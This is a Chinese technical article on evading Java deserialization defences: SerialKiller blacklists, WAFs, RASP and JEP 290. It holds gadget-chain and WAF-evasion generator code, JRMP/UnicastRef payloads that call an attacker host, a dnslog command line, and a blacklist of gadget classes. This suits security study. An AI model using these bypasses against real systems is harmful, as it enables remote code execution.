反序列化漏洞在Java安全生态中造成了重大的影响,在这个过程中防御与检测技术也在持续发展和对抗,无论是最初的基本的黑白名单技术,到后续的传统流量检测方法,再到RASP技术和JDK自身的安全加强。在这个过程中,攻防双方进行了多次的博弈。

 SerialKiller 对抗 

SerialKiller 是一种针对Java反序列化漏洞的防御工具,旨在检测和拦截恶意序列化数据攻击。SerialKiller通过替换默认的ObjectInputStream,对反序列化的类进行白名单或黑名单过滤,限制允许加载的类。

SerialKiller的用法如下,使用new SerialKiller替代了new ObjectInputStream,

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new SerialKiller(bais, "/tmp/serialkiller.conf");ois.readObject();

SerialKiller的具体原理也就是之前说到的,重写了resolveClass方法,在里面进行黑白名单校验,这是目前最常用的黑白名单的检测方案。

protected Class<?> resolveClass(ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {    this.config.reloadIfNeeded();    Iterator var2 = this.config.blacklist().iterator();    while(var2.hasNext()) {        Pattern blackPattern = (Pattern)var2.next();        Matcher blackMatcher = blackPattern.matcher(serialInput.getName());        if (blackMatcher.find()) {            if (!this.profiling) {                LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", blackPattern.pattern(), serialInput.getName()));                throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)");            }            LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));        }    }    boolean safeClass = false;    Iterator var7 = this.config.whitelist().iterator();    while(var7.hasNext()) {        Pattern whitePattern = (Pattern)var7.next();        Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());        if (whiteMatcher.find()) {            safeClass = true;            if (this.profiling) {                LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));            }            break;        }    }    if (!safeClass && !this.profiling) {        LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));        throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)");    } else {        return super.resolveClass(serialInput);    }}

SerialKiller提供的默认配置文件如下:

<?xml version="1.0" encoding="UTF-8"?><!-- serialkiller.conf --><config>  <refresh>6000</refresh>  <mode>    <!-- set to 'false' for blocking mode -->    <profiling>false</profiling>  </mode>  <blacklist>    <regexps>        <!-- ysoserial's BeanShell1 payload  -->        <regexp>bsh\.XThis$</regexp>        <regexp>bsh\.Interpreter$</regexp>        <!-- ysoserial's C3P0 payload  -->        <regexp>com\.mchange\.v2\.c3p0\.impl\.PoolBackedDataSourceBase$</regexp>        <!-- ysoserial's CommonsBeanutils1 payload  -->        <regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>        <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>        <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>        <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>        <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>        <!-- ysoserial's CommonsCollections2,4 payload  -->        <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>        <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>        <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>        <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>        <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>        <!-- ysoserial's FileUpload1,Wicket1 payload  -->        <regexp>org\.apache\.commons\.fileupload\.disk\.DiskFileItem$</regexp>        <regexp>org\.apache\.wicket\.util\.upload\.DiskFileItem$</regexp>        <!-- ysoserial's Groovy payload  -->        <regexp>org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp>        <regexp>org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>        <!-- ysoserial's Hibernate1,2 payload  -->        <regexp>org\.hibernate\.engine\.spi\.TypedValue$</regexp>        <regexp>org\.hibernate\.tuple\.component\.AbstractComponentTuplizer$</regexp>        <regexp>org\.hibernate\.tuple\.component\.PojoComponentTuplizer$</regexp>        <regexp>org\.hibernate\.type\.AbstractType$</regexp>        <regexp>org\.hibernate\.type\.ComponentType$</regexp>        <regexp>org\.hibernate\.type\.Type$</regexp>        <regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>        <!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload -->        <regexp>org\.jboss\.(weld\.)?interceptor\.builder\.InterceptionModelBuilder$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.builder\.MethodReference$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.proxy\.DefaultInvocationContextFactory$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.proxy\.InterceptorMethodHandler$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.ClassMetadataInterceptorReference$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.DefaultMethodMetadata$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.ReflectiveClassMetadata$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.SimpleInterceptorMetadata$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.instance\.InterceptorInstantiator$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.metadata\.InterceptorReference$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.metadata\.MethodMetadata$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.model\.InterceptionModel$</regexp>        <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.model\.InterceptionType$</regexp>        <!-- ysoserial's JRMPClient payload  -->        <regexp>java\.rmi\.registry\.Registry$</regexp>        <regexp>java\.rmi\.server\.ObjID$</regexp>        <regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>        <!-- ysoserial's JSON1 payload  -->        <regexp>net\.sf\.json\.JSONObject$</regexp>        <!-- ysoserial's Jdk7u21 payload -->        <regexp>javax\.xml\.transform\.Templates$</regexp>        <!-- ysoserial's Jython1 payload -->        <regexp>org\.python\.core\.PyObject$</regexp>        <regexp>org\.python\.core\.PyBytecode$</regexp>        <regexp>org\.python\.core\.PyFunction$</regexp>        <!-- ysoserial's MozillaRhino1 payload -->        <regexp>org\.mozilla\.javascript\..*$</regexp>        <!-- ysoserial's Myfaces1,2 payload  -->        <regexp>org\.apache\.myfaces\.context\.servlet\.FacesContextImpl$</regexp>        <regexp>org\.apache\.myfaces\.context\.servlet\.FacesContextImplBase$</regexp>        <regexp>org\.apache\.myfaces\.el\.CompositeELResolver$</regexp>        <regexp>org\.apache\.myfaces\.el\.unified\.FacesELContext$</regexp>        <regexp>org\.apache\.myfaces\.view\.facelets\.el\.ValueExpressionMethodExpression$</regexp>        <!-- ysoserial's ROME payload  -->        <regexp>com\.sun\.syndication\.feed\.impl\.ObjectBean$</regexp>        <!-- ysoserial's Spring1,2 payload  -->        <regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>        <regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>        <regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>        <regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>        <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>        <regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>        <!-- other trigger gadgets or payloads -->        <regexp>java\.util\.PriorityQueue$</regexp>        <regexp>java\.lang\.reflect\.Proxy$</regexp>        <regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>        <regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>        <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>        <regexp>java\.beans\.EventHandler$</regexp>        <regexp>java\.util\.Comparator$</regexp>        <regexp>org\.reflections\.Reflections$</regexp>    </regexps>  </blacklist>  <whitelist>    <regexps>        <regexp>.*</regexp>    </regexps>  </whitelist></config>

由于SerialKiller已经长期没有更新了,所以默认提供的黑白名单规则不存在一些比较新的利用链,比较Fastjson利用如下图,可以正常利用。

另外常用的方法还有通过二次反序列化的方式进行绕过,比如JRMP或者SignedObject等二次反序列化的方式。

java.security.SignedObject#getObject

public Object getObject()    throws IOException, ClassNotFoundException{    // creating a stream pipe-line, from b to a    ByteArrayInputStream b = new ByteArrayInputStream(this.content);    ObjectInput a = new ObjectInputStream(b);    Object obj = a.readObject();    b.close();    a.close();    return obj;}

在getObject方法中,存在一个反序列化方法,如果黑名单中存在templatesimpl或其他核心类,可以通过新的getter利用链触发getObject实现二次反序列化,比如帆软之前反序列化绕过的漏洞就是如此,从FASTJSON触发getter到SignedObject#getObject实现ObjectInputStream二次反序列化,逃离了黑名单限制。

@Overridepublic Object getObject(String command) throws Exception {    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");    kpg.initialize(1024);    KeyPair kp = kpg.generateKeyPair();    Serializable serializeable = (Serializable) new FrHibernate().getObject("xxx");        SignedObject signedObject = new SignedObject(serializeable, kp.getPrivate(), Signature.getInstance("DSA"));    ArrayList<Object> arrayList = new ArrayList<>();    arrayList.add(signedObject);    JSONArray jsonArray = new JSONArray(arrayList);    InvokerTransformer transformer = new InvokerTransformer("size"nullnull);    TransformingComparator transformingComparator = new TransformingComparator(transformer);    TreeBag treeBag = new TreeBag(transformingComparator);    Field map = treeBag.getClass().getSuperclass().getDeclaredField("map");    map.setAccessible(true);    TreeMap treeMap = (TreeMap) map.get(treeBag);    treeBag.add(jsonArray);    Field comparator = treeMap.getClass().getDeclaredField("comparator");    comparator.setAccessible(true);    comparator.set(treeMap, new SerialableLocalCollator(null));    return treeBag;}

JRMP的方式也可以触发二次反序列化,缺点是需要出网,找一个不在黑名单的DGCImpl_Stub就绕过了SerialKiller。

public Object getObject final String command ) throws Exception {    String host;    int port;    int sep = command.indexOf(':');    if ( sep < 0 ) {        port = new Random().nextInt(65535);        host = command;    }    else {        host = command.substring(0, sep);        port = Integer.valueOf(command.substring(sep + 1));    }    ObjID id = new ObjID(new Random().nextInt()); // RMI registry    TCPEndpoint te = new TCPEndpoint(host, port);    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));    sun.rmi.transport.DGCImpl_Stub stub = new sun.rmi.transport.DGCImpl_Stub(ref);    return stub;}

 流量检测对抗 

WAF在防御Java反序列化漏洞中主要通过实时检测和拦截恶意请求发挥作用。针对反序列化漏洞,WAF会通过预定义规则识别序列化数据中的危险特征(如异常类名、方法调用链),阻断攻击流量。利用大包绕过WAF是目前很常用的一个绕过WAF的方案。WAF为了降低负载可能对请求大小有限制,超出限制的请求可能被直接放行或部分处理,导致恶意内容未被检测到,这里一种绕过方案。另外的绕过方案主要是想办法编码序列化数据中的特征类名或者是使用非常见的利用链尝试。

  • TC_RESET

在分析中提到了,JAVA在反序列化时遇到TC_RESET会清除内部数据结构,利用这个特点可以在反序列化中插入大量的无用TC_RESET形成一个大包,具体代码如下。

int insertPosition = 4;int numberOf79s = dirtyDataLength;byte[] dataToInsert = new byte[numberOf79s];for (int i = 0; i < numberOf79s; i++) {    dataToInsert[i] = (byte0x79;}byte[] dirtySerialicationData = new byte[serialicationData.length + numberOf79s];System.arraycopy(serialicationData, 0, dirtySerialicationData, 0, insertPosition);System.arraycopy(dataToInsert, 0, dirtySerialicationData, insertPosition, dataToInsert.length);System.arraycopy(serialicationData, insertPosition, dirtySerialicationData, insertPosition + dataToInsert.length, serialicationData.length - insertPosition);return dirtySerialicationData;
  • MAP

原理是用集合类型,里面同时存在gadget和大量的脏数据填充大小,最后gadget也能够正常的被反序列化。

import java.util.*;public class DirtyDataWrapper {    private int dirtyDataSize; //脏数据大小    private String dirtyData; //脏数据内容    private Object gadget; // ysoserila gadget对象    public DirtyDataWrapper(Object gadget, int dirtyDataSize){        this.gadget = gadget;        this.dirtyDataSize = dirtyDataSize;    }    /**     * 将脏数据和gadget对象存到集合对象中     * @return 一个包裹脏数据和gadget对象可序列化对象     */    public Object doWrap(){        Object wrapper = null;        dirtyData = getLongString(dirtyDataSize);        int type = (int)(Math.random() * 10) % 10 + 1;        switch (type){            case 0:                List<Object> arrayList = new ArrayList<Object>();                arrayList.add(dirtyData);                arrayList.add(gadget);                wrapper = arrayList;                break;            case 1:                List<Object> linkedList = new LinkedList<Object>();                linkedList.add(dirtyData);                linkedList.add(gadget);                wrapper = linkedList;                break;            case 2:                HashMap<String,Object> map = new HashMap<String, Object>();                map.put("a",dirtyData);                map.put("b",gadget);                wrapper = map;                break;            case 3:                LinkedHashMap<String,Object> linkedHashMap = new LinkedHashMap<String,Object>();                linkedHashMap.put("a",dirtyData);                linkedHashMap.put("b",gadget);                wrapper = linkedHashMap;                break;            default:            case 4:                TreeMap<String,Object> treeMap = new TreeMap<String, Object>();                treeMap.put("a",dirtyData);                treeMap.put("b",gadget);                wrapper = treeMap;                break;        }        return wrapper;    }    /**     * 生产随机字符串     * @param length 随机字符串长度     * @return 随机字符串     */    public static String getLongString(int length){        String str = "";        for (int i=0;i<length;i++){            str += "x";        }        return str;    }    // 测试    public static void main(String[] args) throws Exception{//        Object cc6 = new CommonsCollections6().getObject("raw_cmd:nslookup xxx.dnslog.cn");//        DirtyDataWrapper dirtyDataFactory = new DirtyDataWrapper(cc6,100);//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/tmp/cc6.ser"));//        objectOutputStream.writeObject(dirtyDataFactory.doWrap());//        objectOutputStream.flush();//        objectOutputStream.close();    }}
  • UTF8 Overlong Encoding

UTF-8 Overlong 是一种利用UTF-8编码变长特性的攻击手法,通过故意使用超过必要字节长度的编码形式(例如用多字节表示本应单字节的ASCII字符),可能使得字符不可见。以下是生成脚本,使用ObjectOutputStreamWithOverlongEncoding生成序列化的数据。

import java.io.*;import java.lang.reflect.Method;import java.nio.charset.StandardCharsets;public class ObjectOutputStreamWithOverlongEncoding extends ObjectOutputStream {    public static byte[] convertInt(int i) {        byte b1 = (byte) (((i >> 6) & 0b11111) | 0b11000000);        byte b2 = (byte) ((i & 0b111111) | 0b10000000);        return new byte[]{b1, b2};    }    public static byte[] convertStr(String s) {        byte[] encodedBytes = s.getBytes(StandardCharsets.UTF_8);        byte[] result = new byte[0];        for (byte b : encodedBytes) {            byte[] converted = convertInt(b & 0xFF);            result = concatenateArrays(result, converted);        }        return result;    }    private static byte[] concatenateArrays(byte[] a, byte[] b) {        byte[] result = new byte[a.length + b.length];        System.arraycopy(a, 0, result, 0, a.length);        System.arraycopy(b, 0, result, a.length, b.length);        return result;    }    public static byte[] convertBytes(byte[] inputBytes) {        byte[] bs = new byte[0];        for (byte ch : inputBytes) {            byte[] converted = convertInt(ch);            byte[] newBs = new byte[bs.length + converted.length];            System.arraycopy(bs, 0, newBs, 0, bs.length);            System.arraycopy(converted, 0, newBs, bs.length, converted.length);            bs = newBs;        }        return bs;    }    public ObjectOutputStreamWithOverlongEncoding(OutputStream out) throws IOException {        super(out);    }    @Override    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {        this.writeShort(desc.getName().length()*2);        this.write(convertStr(desc.getName()));        this.writeLong(desc.getSerialVersionUID());        byte flags = 0;        try {            if ((boolean) Reflections.getFieldValue(desc, "externalizable")) {                flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;                int protocol = (int) Reflections.getFieldValue(this"protocol");                if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {                    flags |= ObjectStreamConstants.SC_BLOCK_DATA;                }            } else if ((boolean) Reflections.getFieldValue(desc, "serializable")) {                flags |= ObjectStreamConstants.SC_SERIALIZABLE;            }            if ((boolean) Reflections.getFieldValue(desc, "hasWriteObjectData")) {                flags |= ObjectStreamConstants.SC_WRITE_METHOD;            }            if ((boolean) Reflections.getFieldValue(desc, "isEnum")) {                flags |= ObjectStreamConstants.SC_ENUM;            }            this.writeByte(flags);            ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields");            this.writeShort(fields.length);            Object handles = Reflections.getFieldValue(this"handles");            Method lookup = handles.getClass().getDeclaredMethod("lookup", Object.class);            lookup.setAccessible(true);            Method assign = handles.getClass().getDeclaredMethod("assign", Object.class);            assign.setAccessible(true);            for (int i = 0; i < fields.length; i++) {                ObjectStreamField f = fields[i];                this.writeByte(f.getTypeCode());                this.writeShort(f.getName().length()*2);                this.write(convertStr(f.getName()));                if (!f.isPrimitive()) {                    int handle;                    if (f.getTypeString() == null) {                        this.writeByte(TC_NULL);                    } else if ((handle = (int) lookup.invoke(handles, f.getTypeString())) != -1) {                        this.writeByte(TC_REFERENCE);                        this.writeInt(baseWireHandle + handle);                    } else {                        assign.invoke(handles, f.getTypeString());                        long utflen = f.getTypeString().length();                        if (utflen <= 0xFFFF) {                            this.writeByte(TC_STRING);                            this.writeShort(f.getTypeString().length() * 2);                            this.write(convertStr(f.getTypeString()));                        } else {                            this.writeByte(TC_LONGSTRING);                            this.writeShort(f.getTypeString().length() * 2);                            this.write(convertStr(f.getTypeString()));                        }                    }                }            }        } catch (Exception e) {            throw new RuntimeException(e);        }    }}

 RASP检测对抗 

为了应对层出不穷的反序列化漏洞以及各种新型的Gadget,越来越多的防御方开始使用 RASP 技术来进行攻击对抗。在Java语言中,使用 Java Agent技术在应用程序运行时候动态修改类字节码,对具有反序列化能力的函数进行插桩,植入安全检测代码。当攻击者使用反序列化漏洞进行攻击时,RASP 就会检测反序列化生产的对象是不是属于恶意类名产生的,这块的检测方式和JEP290提供的全局过滤器机制是类似的。以 Java 原生序列化为例,对java.io.ObjectInputStream#resolveClass进行插桩。

安全检测会联合多个插桩点进行综合性判断,当程序出现命令执行、内存马加载等行为时,会关联程序执行的上下文信息来看这些操作是不是反序列化漏洞引起的,从而做到未知反序列化漏洞的防御。随着攻防对抗的加剧,攻击者也会引入一些新的手法来对抗RASP的检测,比较有代表性的绕过方式就是线程注入。利用反序列化漏洞的代码执行能力,创建新的线程使得当前的检测丢失一些上下文信息,最终导致绕过。

 JDK限制对抗 

除了安全设备对JAVA反序列化做限制,高版本JDK自身也对JAVA反序列化做了一定的限制。

  • JEP290

JEP 290是Java平台针对反序列化漏洞设计的关键安全机制,其核心目标是通过动态过滤机制阻止恶意类在反序列化过程中被实例化,从而防御远程代码执行。它允许开发者通过可配置的规则,例如禁止反序列化高危类,同时支持全局或局部过滤器配置,有效拦截攻击者构造的恶意序列化数据。

JEP 290在ObjectInputStream中引入了ObjectInputFilter接口,反序列化时会逐层检查待加载的类,若类名匹配黑名单或超出资源限制则直接阻断;支持通过ObjectInputStream.setObjectInputFilter动态设置过滤器、结合JVM参数jdk.serialFilter实现全局管控。该机制从JDK 9默认启用,并通过向后移植至JDK 6/7/8的更新版本。简单说就是JDK 通过 ObjectInputFilter 接口开放了配置能力,允许开发者或运维人员通过代码或 JVM 参数定义反序列化规则,但是JDK默认没有配置ObjectInputFilter,只在部分组件中默认配置了,比如RMI。所以目前网上大部分绕过JEP290,其实就是指的绕过RMI默认的过滤规则。

测试版本8u141,在启动RMI Registry时,使用了RegistryImpl::registryFilter进行限制。

public RegistryImpl(final int var1) throws RemoteException {    this.bindings = new Hashtable(101);    if (var1 == 1099 && System.getSecurityManager() != null) {        try {            AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {                public Void run() throws RemoteException {                    LiveRef var1x = new LiveRef(RegistryImpl.id, var1);                    RegistryImpl.this.setup(new UnicastServerRef(var1x, (var0) -> {                        return RegistryImpl.registryFilter(var0);                    }));                    return null;                }            }, (AccessControlContext)nullnew SocketPermission("localhost:" + var1, "listen,accept"));        } catch (PrivilegedActionException var3) {            throw (RemoteException)var3.getException();        }    } else {        LiveRef var2 = new LiveRef(id, var1);        this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));    }}

RMI配置ObjectFilter肯定不是通过配置的JVM参数,在派发请求的方法中调用了unmarshalCustomCallData方法,

private void oldDispatch(Remote var1, RemoteCall var2, int var3) throws Exception {    ObjectInput var6 = var2.getInputStream();    try {        Class var7 = Class.forName("sun.rmi.transport.DGCImpl_Skel");        if (var7.isAssignableFrom(this.skel.getClass())) {            ((MarshalInputStream)var6).useCodebaseOnly();        }    } catch (ClassNotFoundException var9) {    }    long var4;    try {        var4 = var6.readLong();    } catch (Exception var8) {        throw new UnmarshalException("error unmarshalling call header", var8);    }    this.logCall(var1, this.skel.getOperations()[var3]);    this.unmarshalCustomCallData(var6);    this.skel.dispatch(var1, var2, var3, var4);}

unmarshalCustomCallData方法中通过setObjectInputFilter方法,设置了反序列化过滤器,

protected void unmarshalCustomCallData(ObjectInput var1) throws IOException, ClassNotFoundException {    if (this.filter != null && var1 instanceof ObjectInputStream) {        final ObjectInputStream var2 = (ObjectInputStream)var1;        AccessController.doPrivileged(new PrivilegedAction<Void>() {            public Void run() {                Config.setObjectInputFilter(var2, UnicastServerRef.this.filter);                return null;            }        });    }}

sun.rmi.registry.RegistryImpl#registryFilter 过滤器的具体规则如下:

private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {    if (registryFilter != null) {        ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);        if (var1 != Status.UNDECIDED) {            return var1;        }    }    if (var0.depth() > 20L) {        return Status.REJECTED;    } else {        Class var2 = var0.serialClass();        if (var2 == null) {            return Status.UNDECIDED;        } else {            if (var2.isArray()) {                if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {                    return Status.REJECTED;                }                do {                    var2 = var2.getComponentType();                } while(var2.isArray());            }            if (var2.isPrimitive()) {                return Status.ALLOWED;            } else {                return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;            }        }    }}

在registryFilter做了白名单限制,其中允许反序列化sun.rmi.server.UnicastRef。

sun.rmi.server.UnicastRef 是  RMI用于表示远程对象的引用,负责处理客户端与服务器之间的远程调用。

sun.rmi.server.UnicastRef#readExternal

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {    this.ref = LiveRef.read(var1, false);}
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {    TCPEndpoint var2;    if (var1) {        var2 = TCPEndpoint.read(var0);    } else {        var2 = TCPEndpoint.readHostPortFormat(var0);    }    ObjID var3 = ObjID.read(var0);    boolean var4 = var0.readBoolean();    LiveRef var5 = new LiveRef(var3, var2, false);    if (var0 instanceof ConnectionInputStream) {        ConnectionInputStream var6 = (ConnectionInputStream)var0;        var6.saveRef(var5);        if (var4) {            var6.setAckNeeded();        }    } else {        DGCClient.registerRefs(var2, Arrays.asList(var5));    }    return var5;}

在read方法中,先解析到HOST和PORT获取到地址,然后覆盖了incomingRefTable。

void saveRef(LiveRef var1) {    Endpoint var2 = var1.getEndpoint();    Object var3 = (List)this.incomingRefTable.get(var2);    if (var3 == null) {        var3 = new ArrayList();        this.incomingRefTable.put(var2, var3);    }    ((List)var3).add(var1);}

覆盖该属性后会影响DGC。

public void releaseInputStream() throws IOException {    try {        if (this.in != null) {            try {                this.in.done();            } catch (RuntimeException var5) {            }            this.in.registerRefs();            this.in.done(this.conn);        }        this.conn.releaseInputStream();    } finally {        this.in = null;    }}

DGC时,incomingRefTable被覆盖成了新的地址。

makeDirtyCall方法中,会发起DGC RemoteCall,自然也就会触发反序列化。因为JEP290只作用于注册中心中,所以当直接攻击服务端、客户端时不受影响。dirty方法中会向RefTable地址发起请求。

private void makeDirtyCall(Set<RefEntry> var1, long var2) {    assert !Thread.holdsLock(this);    ObjID[] var4;    if (var1 != null) {        var4 = createObjIDArray(var1);    } else {        var4 = DGCClient.emptyObjIDArray;    }    long var5 = System.currentTimeMillis();    long var8;    long var12;    try {        Lease var20 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));        
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {    try {        RemoteCall var5 = this.ref.newCall(this, operations, 1, -669196253586618813L);        try {            ObjectOutput var6 = var5.getOutputStream();            var6.writeObject(var1);            var6.writeLong(var2);            var6.writeObject(var4);        } catch (IOException var17) {            throw new MarshalException("error marshalling arguments", var17);        }        this.ref.invoke(var5);

利用代码如下,生成UnicastRef发送给RMI注册中心进行反序列化,DGC时会远程服务器发起请求然后反序列化结果。

private static UnicastRef generateUnicastRef(String host, int port){    ObjID id = new ObjID(new Random().nextInt()); // RMI registry    TCPEndpoint te = new TCPEndpoint(host, port);    UnicastRef unicastRef = new UnicastRef(new LiveRef(id, te, false));    return  unicastRef;}
  • BadAttributeValueExpException

BadAttributeValueExpException是ysoserial中很常用的一个到toString的类,jdk8代码如下,很明显的toString,但是也受到Security Manager的限制。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {    ObjectInputStream.GetField gf = ois.readFields();    Object valObj = gf.get("val"null);    if (valObj == null) {        val = null;    } else if (valObj instanceof String) {        val= valObj;    } else if (System.getSecurityManager() == null            || valObj instanceof Long            || valObj instanceof Integer            || valObj instanceof Float            || valObj instanceof Double            || valObj instanceof Byte            || valObj instanceof Short            || valObj instanceof Boolean) {        val = valObj.toString();    } else { // the serialized object is from a version without JDK-8019292 fix        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();    }}

在jdk17下,直接移除了toString方法,

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {    ObjectInputStream.GetField gf = ois.readFields();    Object valObj = gf.get("val"null);    if (valObj instanceof String || valObj == null) {        val = (String)valObj;    } else { // the serialized object is from a version without JDK-8019292 fix        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();    }}

所以需要一个新的toString链,

在javax.swing.event.EventListenerList#readObject中,

private void readObject(ObjectInputStream s)    throws IOException, ClassNotFoundException {    listenerList = NULL_ARRAY;    s.defaultReadObject();    Object listenerTypeOrNull;    while (null != (listenerTypeOrNull = s.readObject())) {        ClassLoader cl = Thread.currentThread().getContextClassLoader();        EventListener l = (EventListener)s.readObject();        String name = (String) listenerTypeOrNull;        ReflectUtil.checkPackageAccess(name);        add((Class<EventListener>)Class.forName(name, true, cl), l);    }}

反序列化出对象和会调用add方法,

public synchronized <T extends EventListenervoid add(Class<T> t, T l) {    if (l==null) {        // In an ideal world, we would do an assertion here        // to help developers know they are probably doing        // something wrong        return;    }    if (!t.isInstance(l)) {        throw new IllegalArgumentException("Listener " + l +                                     " is not of type " + t);    }

在add方法中,如果l对象不是t类的实例,就会抛出异常,这里字符串拼接了对象l会自动化的调用toString方法,因为有类型转换这里的l只能是实现了EventListener接口的类。

UndoableEditListener extends java.util.EventListener

public class UndoManager extends CompoundEdit implements UndoableEditListener {    public String toString() {        return super.toString() + " limit: " + limit +            " indexOfNextAdd: " + indexOfNextAdd;    }}

UndoManager#toString方法调用了父类CompoundEdit的toString方法,toString方法中 字符串拼接了edits属性,edits是Vector类型,这里又会触发Vector的toString方法。

public class CompoundEdit extends AbstractUndoableEdit {        protected Vector<UndoableEdit> edits;        public String toString()    {        return super.toString()            + " inProgress: " + inProgress            + " edits: " + edits;    }}

Vector的toString方法依旧调用的是父类的toString方法,

public class Vector<E>    extends AbstractList<E>    implements List<E>, RandomAccessCloneable, java.io.Serializable{    public synchronized String toString() {        return super.toString();    }}

AbstractList没有toString方法,所以最终会调用到AbstractList到父类AbstractCollection到toString方法,

public abstract class AbstractCollection<Eimplements Collection<E> {    public String toString() {        Iterator<E> it = iterator();        if (! it.hasNext())            return "[]";            StringBuilder sb = new StringBuilder();        sb.append('[');        for (;;) {            E e = it.next();            sb.append(e == this ? "(this Collection)" : e);            if (! it.hasNext())                return sb.append(']').toString();            sb.append(',').append(' ');        }    }}

在AbstractCollection#toString方法中,会遍历集合然后调用了StringBuilder#append方法,所以这时候会触发集合中元素的toString方法。这时候我们将恶意对象放到Vector中,就会触发到恶意对象的toString方法了。

测试代码如下:

import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.io.*;import java.lang.reflect.Field;import java.util.Map;import java.util.Vector;public class Test4 implements Serializable {    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {        EventListenerList eventListenerList = new EventListenerList();        UndoManager manager = new UndoManager();        Field f = manager.getClass().getSuperclass().getDeclaredField("edits");        f.setAccessible(true);        Vector vector = (Vector) f.get(manager);        vector.add(new Test4());        f = eventListenerList.getClass().getDeclaredField("listenerList");        f.setAccessible(true);        f.set(eventListenerList, new Object[] { Map.class, manager });        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);        objectOutputStream.writeObject(eventListenerList);        objectOutputStream.close();        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());        ObjectInputStream objectInputStream = new ObjectInputStream(bais);        objectInputStream.readObject();    }    @Override    public String toString() {        System.out.println("call Test4 toString");        return super.toString();    }}
  • Templatesimpl限制

前面提到了基本所有的getter利用链最后都会用到Templatesimpl实现代码执行,不过Templatesimpl实际也存在着一些限制。

